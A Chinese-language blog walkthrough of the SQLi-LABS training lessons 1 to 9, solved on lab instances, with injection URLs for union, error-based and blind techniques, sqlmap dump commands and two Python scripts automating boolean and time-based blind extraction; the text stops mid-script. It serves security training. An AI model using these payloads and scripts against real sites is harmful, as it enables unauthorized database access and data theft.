SQL注入【SQLi-LABS Page-1(Basic Challenges Less1-Less22)】

news2024/11/18 5:45:55

文章目录

    • 前言
    • sqlmap
    • less-1（基于错误的GET单引号字符型注入）
    • less-2（基于错误的GET整型注入）
    • less-3（基于错误的GET单引号变形注入）
    • less4（基于错误的GET双引号字符型注入）
    • less5（基于GET单引号双注入-报错盲注）
    • less6（基于GET双引号双注入）
    • less7（基于文件写入注入）
    • less8（基于GET单引号基于布尔盲注）
    • less9（基于GET单引号基于时间盲注）
    • less10（基于GET双引号基于时间盲注）
    • less11（基于错误的POST单引号字符型注入）
    • less12 (基于错误的POST双引号字符型注入)
    • less13（基于POST单引号双注入变形）
    • less14（基于POST双引号双注入变形）
    • less15（基于POST单引号布尔型时间盲注）
    • less16（基于POST双引号布尔型时间盲注）
    • less17（基于POST错误的更新）
    • less18（基于POST错误的Uagent字段数据头注入）
    • less19（基于POST错误的Referer字段数据头注入）
    • less20（基于POST错误的Cookie-Uagent字段数据头注入）
    • less21 （基于base64编码单引号的Cookie注入）
    • less22（基于base64编码加密的双引号Cookie注入）
    • 参考博客

前言

本篇博客用于记录SQLi实验中第一阶段，即基础的sql注入，包括了GET和POST联合注入、时间盲注、布尔盲注、报错盲注、文件上传注入等并且内含一些笔者写的自动化注入代码~

sqli-labs github：https://github.com/Audi-1/sqli-labs

大家没思路的时候就可以看看，就相当于白盒测试

在这里插入图片描述

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意，UNION 内部的 SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时，每条 SELECT 语句中的列的顺序必须相同。所以我们在使用UNION联合查询的时候需要先通过order by 来测试这个SQL的查询列数

Mysql 有一个系统数据库 information_schema，存储着所有的数据库的相关信息，一般的，我们利用该表可以进行一次完整的注入。以下为一般的流程。

  • ①猜数据库
    select schema_name from information_schema.schemata
  • ②猜某库的数据表
    select table_name from information_schema.tables where table_schema=’xxxxx’
  • ③猜某表的所有列
    Select column_name from information_schema.columns where table_name=’xxxxx’
  • ④获取某列的内容
    Select xxx from xxx

常用查询信息：

  • database() # 在用的数据库名
  • user() # 用户信息
  • version() # 数据库版本信息
  • @@basedir # 数据库安装路径
  • @@version_compile_os # 操作系统版本

SQL注入的流程：

一般是联合>堆叠>盲注>时间

Mysql中一些函数：

  • www.cnblogs.com/lcamry/p/5715634.html
  • https://www.cnblogs.com/lcamry/p/5504374.html

sqlmap

sqlmap常用命令：

sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库
sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库
sqlmap -u “注入地址” -v 1 –-users # 列数据库用户
sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名
sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据

注意的点

  • B:Boolean-based-blind（布尔型注入）

  • U:Union query-based （联合注入）

  • E:Error-based （报错型注入)

  • S:Starked queries （通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数，可多语句查询注入）

  • T:Time-based blind （基于时间延迟注入）

  • -–batch 默认选项运行

  • --dbs 爆破数据库

  • -–technique 指定sqlmap使用的检测技术

sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B

按理说应该所有类型的注入都跑一次

less-1（基于错误的GET单引号字符型注入）

在这里插入图片描述
这里告诉我们让我们传一个一个参数为id的值，于是我传入 1 1 1 ，即：http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1

在这里插入图片描述
于是我们猜测这里存在注入（其实标题就告诉了是单引号注入），于是我们在末尾输入'和"我们发现前者会出现error，而后者没有问题

在这里插入图片描述
注意的是这里不是双引号而是两个单引号near ''1'' LIMIT 0,1' at line 1 这里多了的这个单引号就是第三个位置，也就是我们输入的单引号，于是我们大概能猜到这个sql语句是通过单引号闭合的，于是我们开始使用上面的注入过程：
先用二分法通过order by分析出sql语句的列数为3

http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=1' order by 3%23
在这里插入图片描述
在这里插入图片描述
①开始爆库：

http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

在这里插入图片描述
ctftraining,information_schema,mysql,performance_schema,security,test

我们发现ctftraining最可疑，于是对其进行爆表操作

②开始爆表：

http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

在这里插入图片描述
其中我们关心flag于是对其进行爆列

③开始爆列：

http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23

在这里插入图片描述
我们发现flag表中只有一列flag，于是我们将这一列的数据爆出来

④爆数据：

http://5d160cbb-1d33-4084-b22a-2335134bce7a.node4.buuoj.cn/Less-1/?id=-1'union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述
得到flag{94fb0e75-3801-40c8-9943-5a637e395448}

less-2（基于错误的GET整型注入）

在这里插入图片描述
还是和上面一样的流程，不过这里是整形注入，我们还是在末尾传入一个单引号看看'

发现抱错：You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 0,1' at line 1

这里只有单引号，没有我们传入的id的值了，于是我们猜测此时的SQL查询语句如下：

Select * from TABLE where id = 1';

于是我们可以知道，这里的id的值在SQL语句中是作为一个整数类型的，即：Select * from TABLE where id = (some integer)

我们http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=2 会发现没有查询数据，而http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=1 and 1=1发现有数据返回，于是我们得出结论，SQL语句中并没做任何处理，于是我们开始上面的联合查询流程：

① 爆库
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata%23

在这里插入图片描述

②爆表
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

在这里插入图片描述

③爆列：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23
在这里插入图片描述

④爆数据

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-2/?id=-1 union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述

最后得到：flag{b9ea0bc6-7cb1-428f-881b-4a8550cae347}

less-3（基于错误的GET单引号变形注入）

同样的，我们首先加一个单引号测试一下

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=1'

在这里插入图片描述
得到一个反馈的信息：You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

注意这里有一个)，于是我们猜测SQL语句可能是：

Select login_name, select password from table where id= ('our input here')

于是我们开始构造注入：?id=1')%23，发现成功注入

在这里插入图片描述
于是我们开始SQL注入：

①开始爆库：
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata%23

②开始爆表：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

③爆列：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

④爆数据 ：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-3/?id=-1') union select 1,group_concat(flag),3 from ctftraining.flag%23

less4（基于错误的GET双引号字符型注入）

其实标题就很明显了，于是我们在传入参数的末尾加上双引号：http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1"

我们会得到一个报错：You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

这里其实就是和第一个单引号注入类似的报错，只不过这里是双引号，并且这里有)，于是我们可以猜测，参数是通过双引号加上)括号包裹的，那么SQL语句可能是：

$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";

于是我们试着注入：
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=1")%23

在这里插入图片描述
发现是能够成功注入的，于是我们重复上面的流程即可：

①开始爆库：
http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata%23

②开始爆表：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='ctftraining'%23

③爆列：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23table_schema='ctftraining'%23

④爆数据 ：

http://94c9d9b5-a14a-401f-8307-8b382c009e87.node4.buuoj.cn/Less-4/?id=-1") union select 1,group_concat(flag),3 from ctftraining.flag%23

在这里插入图片描述

less5（基于GET单引号双注入-报错盲注）

这道题可以使用布尔盲注，不过我这里就不展示了，因为布尔盲注有点麻烦，不过可以二分布尔加快注入，当然可以通过脚本或者burpsuit进行注入

关于报错盲注我这里简单介绍一下：

众所周知，盲注并不会返回错误信息，使得sql注入的难度提高。而报错型注入则是利用了MySQL的第8652号bug ：Bug #8652 group by part of rand() returns duplicate key error来进行的盲注，使得MySQL由于函数的特性返回错误信息，进而我们可以显示我们想要的信息，从而达到注入的效果；当然其他类型的数据库也存在相应的问题，在此我们不提。

报错盲注分类：

  • 基于group by报错注入

注入公式：?id=1' union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a%23

eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select user()),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  • 基于xpath函数报错注入( 5.1.1 5.1.1 5.1.1 及以上，extractvalue和 updatexml)

注入公式①：?id=1' and extractvalue(1,concat(0x7e,(你希望的查询语句),0x7e))%23

注入公式②：`?id=1' and updatexml(1,concat(0x7e,(你希望的查询语句),0x7e),1)%23`

eg1:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e))%23

在这里插入图片描述
eg2:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)%23

  • 基于double数值类型超出范围报错注入( 5.5.5 5.5.5 5.5.5 及以上)

注入公式：?id=1' union select (exp(~(select * FROM(你希望的查询语句)a))),2,3%23

  • 基于bignt溢出报错注入

注入公式：?id=1' union select (!(select * from (你希望查询的语句)x) - ~0),2,3%23

  • 基于数据重复性报错注入

注入公式：?id=1'union select 1,2,3 from (select NAME_CONST(查询内容,1),NAME_CONST(查询内容,1))x%23

eg:http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x%23

在这里插入图片描述

此处重复了version，所以报错。

首先还是先输入1看一下

在这里插入图片描述
可以看到此时没有像上面出现的回显数据的情况，对应的就是账号登录的情景，我们还是，我们输入1'发现这里存在单引号注入

在这里插入图片描述
在这里插入图片描述
于是我们先通过order by进行列数查询：

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' order by 3%23

查询结果为三列，于是我们开始爆数据流程

  • 爆数据库名：

先查询数据库的个数，我们通过count统计

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

发现当前数据库有六种，于是我们依次查询

查询语句：http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/ ?id=1' union Select 1,count(*),concat(0x23,0x23,(select schema_name from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

我们通过调整limit参数发现有如下六个数据库：

ctftraining,information_schema,mysql,performance_schema,security,test

很显然，我们需要将目光放在ctftraining上，这就回到了我们上面的流程中了，只不过这里不能显示多行的查询

  • 爆表名：

先查询ctftraining数据库中表的数量，方便后续调整Limit参数
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

发现有三个表，于是我们开始调整参数，爆出表名：

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 1,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select table_name from information_schema.tables where table_schema = 'ctftraining' limit 2,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

也就是说我们这个数据库中存在：flag、news、users三张表，很明显我们需要看看flag表中是否存在flag

  • 爆列：

同样因为只能显示一行信息，我们先查询一下列数：
http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

我们可以发现，只有一列，于是就是将这列的名字爆出来了

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

  • 爆数据：

http://27ef3440-a5bb-47d8-bb81-1a8b468e57d5.node4.buuoj.cn/Less-5/?id=1' union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

于是我们得到了flag{9f935943-ce36-457a-9af5-68f13a0efc6f}

less6（基于GET双引号双注入）

这道题目和上面几乎一样，只不过注入点变成了双引号"，于是我简化一下流程：

在这里插入图片描述

我们同样使用group by报错注入

  • 爆库

先看数据库个数：http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(schema_name) from information_schema.schemata),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

然后一一列出：

http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (schema_name) from information_schema.schemata limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现ctftraining数据库

在这里插入图片描述

  • 爆表

同样先看表的数量
http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(table_name) from information_schema.tables where table_schema = 'ctftraining'),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

然后一一爆出所有的表名：

http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select (table_name) from information_schema.tables where table_schema = 'ctftraining' limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现flag表很可疑

在这里插入图片描述

  • 爆列

继续爆这个表的所有元素，同样先看有多少列：

http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select count(column_name) from information_schema.columns where table_name = 'flag' ),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

发现只有一列

在这里插入图片描述

  • 爆数据

直接爆数据

http://14bb546c-b00e-45df-bd6d-929e8c379765.node4.buuoj.cn/Less-6/?id=1" union Select 1,count(*),concat(0x23,0x23,(select flag from ctftraining.flag limit 0,1),0x23,0x23,floor(rand(0)*2))a from information_schema.columns group by a%23

在这里插入图片描述

less7（基于文件写入注入）

按理说这个应该是一个文件上传注入，不过不知为何执行文件上传语句后还是没用，于是我就用的sqlmap做了，正确的文件上传做法：https://www.cnblogs.com/Timesi/p/16661422.html

简单描述一下sqlmap做法：

  • 我们先通过延时注入爆一下库名：
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" --dbs --batch -technique T

爆出了 6 6 6 个数据库：

在这里插入图片描述

  • 然后爆ctftraining数据库的表名
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" --tables --batch

在这里插入图片描述

  • 接着去爆flag表的列名
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" --columns --batch

在这里插入图片描述

  • 最后就是将数据爆出来了
python sqlmap.py -u "http://ca10285e-92de-4380-b404-183911d8e767.node4.buuoj.cn/Less-7/?id=1" -D "ctftraining" -T "flag" -C "flag" --dump --batch

在这里插入图片描述

flag{2184e709-5663-45cf-bf25-80a2640676e7}

less8（基于GET单引号基于布尔盲注）

我们测试注入，发现http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=2%23 不回显，而http://93b4694c-4e4c-47e3-b41a-b212d03c4a61.node4.buuoj.cn/Less-8/?id=1' and 1=1%23有回显，那么显然说明这里有注入，于是简单写一个脚本吧

import requests
import time
import datetime
import math

"""

【这个代码是一个bool类型的盲注】

需要注意的参数：
    1.下面的payload是注入的方式
    2.url是平台的地址
    3.right_text是bool值为真的情况的页面包含的内容，假的话就不会回显
    4.注意一下每一个show_xx_name中的字段名的长度，我上面几个是默认的30，
    但是一般来说数据的部分就会藏有flag这个长度可能会很长，当然也不排除前面
    的一些例如数据库名称或者是表的名称也很长
    5.p1参数是盲注中可能会用到的字段名中的字母，你也可以直接用ascii码的可见长度
    即[33,126]，其中48~57为0到9十个阿拉伯数字，65~90为26个大写英文字母，
    97~122号为26个小写英文字母,python有个自带的string.printable
    6.可以加一个延时操作例如sleep
"""

url = "http://90819ab8-d92f-46a2-8dd7-21f222ef30cb.node4.buuoj.cn/Less-8/?id=1"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"


payload="'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{b},1))<{a}--+ "
right_text = "You are in"


dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 0
column_list = []
data_num = 0
data_list = [] 

def count_db_num():
    global url
    global dbnum
    payload1 = "' and (select count(schema_name) from information_schema.schemata) = {mid}%23"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(mid = i)
        res = requests.get(url1).text
        if res.find(right_text) != -1:
            dbnum = i
            print("database nums :",dbnum)
            break

def show_db_name():
    global db_list
    global dbnum
    global right_text
    global url
    payload2 = "' and (substr((select schema_name from information_schema.schemata limit {start},1),{begin},1))='{loc_key}'%23"
    
    for i in range(dbnum):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(start = i,begin =j,loc_key = it)
                res = requests.get(url2).text
                if res.find(right_text) != -1:
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place dbname: ",name)
        db_list.append(name)

def count_table_num(db_name:str):
    global right_text
    global table_num
    global url
    payload1 = "' and (select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid}%23"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(db_name=db_name,mid = i)
        res = requests.get(url1).text
        if res.find(right_text) != -1:
            table_num = i
            print("table nums : ",table_num)
            break

def show_table_name(db_name:str):
    global table_list
    global table_num
    global right_text
    global url
    payload2 = "' and (substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1))='{loc_key}'%23"
    
    for i in range(table_num):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
                res = requests.get(url2).text
                if res.find(right_text) != -1:
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place table_name: ",name)
        table_list.append(name)

def count_column_num(table_name:str):
    global right_text
    global column_num
    global url
    payload1 = "' and (select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid}%23"
    low = 1
    hig = 30
    
    for i in range(low,hig):
        url1 = url + payload1.format(table_name=table_name,mid = i)
        res = requests.get(url1).text
        if res.find(right_text) != -1:
            column_num = i
            print("column num : ",column_num)
            break

def show_column_name(table_name:str):
    global column_list
    global column_num
    global right_text
    payload2 = "' and (substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1))='{loc_key}'%23"
    
    for i in range(column_num):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
                res = requests.get(url2).text
                if res.find(right_text) != -1:
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place column_name: ",name)
        column_list.append(name)


def count_data_num(db_name:str,table_name:str,column_name:str):
    global right_text
    global data_num
    payload1 = "' and (select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid}%23"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)
        #print("url1 = ",url1)
        res = requests.get(url1).text
        #print(res)
        if res.find(right_text) != -1:
            data_num = i
            print("data num : ",data_num)
            break
    
def show_data_name(db_name:str,table_name:str,column_name:str):
    global data_list
    global data_num
    global right_text
    payload2 = "' and (substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}'%23"
    
    for i in range(data_num):
        name = ''
        for j in range(1,100):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(column_name=column_name,db_name=db_name,table_name=table_name,start = i,begin =j,loc_key = it)
                res = requests.get(url2).text
                if res.find(right_text) != -1:
                    name = name + it
                    fg = 0
                    break
            #print("ID: ",i+1,"place data_name: ",name)
            if fg:
                break
            
        print("ID: ",i+1,"place data_name: ",name)
        data_list.append(name)



count_db_num()
show_db_name()

check_id1 = int(input("请输入ID继续查看哪个数据库?请按照顺序输入,下标从 1 开始: "))
if check_id1 <= 0 or check_id1 > len(db_list):
    print("input id is error !")
    exit(0)
count_table_num(db_list[check_id1-1])
show_table_name(db_list[check_id1-1])


check_id2 = int(input("请输入ID继续查看哪个表?请按照顺序输入,下标从 1 开始: "))
if check_id2 <= 0 or check_id2 > len(table_list):
    print("input id is error !")
    exit(0)

count_column_num(table_list[check_id2-1])
show_column_name(table_list[check_id2-1])


check_id3 = int(input("请输入ID继续查看哪个列? 请按照顺序输入,下标从 1 开始："))
if check_id3 <= 0 or check_id3 > len(column_list):
    print("input id is error !")
    exit(0)

count_data_num(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])
print("喵喵喵？")
show_data_name(db_list[check_id1-1],table_list[check_id2-1],column_list[check_id3-1])

在这里插入图片描述

less9（基于GET单引号基于时间盲注）

首先还是做一些注入测试，发现并没有什么反馈，于是作弊看一眼源码：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else { echo "Please input the ID as parameter with numeric value";}

同时标题也写的很清楚，是一个单引号时间注入的题目，那就写一个时间注入的脚本吧，然后跑一跑（经过漫长的等待就能跑出来了，这里多说一下，注意payload，错了的话贼难受）

于是我们稍作更改上面的脚本：

import requests
import time
import datetime
import math
import string

"""

【这个代码是一个时间类型的盲注】

需要注意的参数：
    1.下面的payload是注入的方式
    2.url是平台的地址
    3.注意一下每一个show_xx_name中的字段名的长度，我上面几个是默认的30，
    但是一般来说数据的部分就会藏有flag这个长度可能会很长，当然也不排除前面
    的一些例如数据库名称或者是表的名称也很长
    4.p1参数是盲注中可能会用到的字段名中的字母，你也可以直接用ascii码的可见长度,python有个自带的string.printable
    即[33,126]，其中48~57为0到9十个阿拉伯数字，65~90为26个大写英文字母，97~122号为26个小写英文字母
"""

url = "http://8c3cbc57-740e-407d-a78a-2eb6d1d6e7c1.node4.buuoj.cn/Less-9/?id=1"
p1 = "abcdefghijklmnopqrstuvwxyz0123456789}{-"


payload= "'and if((substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1))='{loc_key}',1,sleep(5))%23"


dbnum = 0
db_list=[]
table_num = 0
table_list = []
column_num = 1
column_list = []
data_num = 0
data_list = []

def check_url(url:str):
    try:
        res = requests.get(url,timeout = 3)
        return True
    except Exception as e:
        return False


def count_db_num():
    global url
    global dbnum
    payload1 = "'and if((select count(schema_name) from information_schema.schemata)={mid},1,sleep(5))--+"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(mid = i)
        if check_url(url1):
            dbnum = i
            print("database nums :",dbnum)
            break

def show_db_name():
    global db_list
    global dbnum
    global url
    payload2 = "'and if(substr((select schema_name from information_schema.schemata limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
    
    for i in range(dbnum):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(start = i,begin =j,loc_key = it)
                if check_url(url2):
                    name = name + it
                    fg = 0
                    break
            print(name)
            if fg:
                break
        print("ID: ",i+1,"place dbname: ",name)
        db_list.append(name)

def count_table_num(db_name:str):
    global table_num
    global url
    payload1 = "'and if((select count(table_name) from information_schema.tables where table_schema = '{db_name}') = {mid},1,sleep(5) )%23"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(db_name=db_name,mid = i)
        if check_url(url1):
            table_num = i
            print("table nums : ",table_num)
            break

def show_table_name(db_name:str):
    global table_list
    global table_num
    global url
    payload2 = "'and if(substr((select table_name from information_schema.tables where table_schema = '{db_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
    
    for i in range(table_num):
        name = ''
        for j in range(1,30):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(db_name=db_name,start = i,begin =j,loc_key = it)
                if check_url(url2):
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place table_name: ",name)
        table_list.append(name)

def count_column_num(table_name:str):
    global column_num
    global url
    payload1 = "'and if((select count(column_name) from information_schema.columns where table_name = '{table_name}') = {mid},1,sleep(5))%23"
    low = 1
    hig = 30
    
    for i in range(low,hig):
        url1 = url + payload1.format(table_name=table_name,mid = i)
        if check_url(url1):
            column_num = i
            print("column num : ",column_num)
            break

def show_column_name(table_name:str):
    global column_list
    global column_num
    payload2 = "'and if(substr((select column_name from information_schema.columns where table_name = '{table_name}' limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
    
    for i in range(column_num):
        name = ''
        for j in range(1,100):
            fg = 1
            for it in p1:
                url2 = url + payload2.format(table_name=table_name,start = i,begin =j,loc_key = it)
                if check_url(url2):
                    name = name + it
                    fg = 0
                    break
            if fg:
                break
        print("ID: ",i+1,"place column_name: ",name)
        column_list.append(name)


def count_data_num(db_name:str,table_name:str,column_name:str):
    global data_num
    payload1 = "'and if((select count({column_name}) from {db_name}.{table_name} limit 0,1) = {mid},1,sleep(5))%23"
    low = 1
    hig = 100
    
    for i in range(low,hig):
        url1 = url + payload1.format(column_name=column_name,db_name=db_name,table_name=table_name,mid = i)
        if check_url(url1):
            data_num = i
            print("data num : ",data_num)
            break
    
def show_data_name(db_name:str,table_name:str,column_name:str):
    global data_list
    global data_num
    payload2 = "'and if(substr((select {column_name} from {db_name}.{table_name} limit {start},1),{begin},1)='{loc_key}',1,sleep(5))%23"
    
